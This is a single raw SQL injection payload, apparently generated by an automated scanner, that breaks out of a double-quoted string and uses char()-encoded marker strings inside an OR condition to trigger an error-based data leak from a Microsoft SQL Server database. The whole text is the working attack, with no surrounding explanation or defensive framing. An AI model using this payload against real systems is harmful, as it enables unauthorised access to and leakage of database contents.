-8550"  )   or 2724 in    (    (   char  (  113  )  +char  (  113  )  +char  (  112  )  +char  (  106  )  +char  (  113  )  +  (  select   (  case when   (  2724  =  2724  )   then char  (  49  )   else char  (  48  )   end   )    )   +char  (  113  )  +char  (  122  )  +char  (  118  )  +char  (  122  )  +char  (  113   )    )     )   and   (  "kyad"  =  "kyad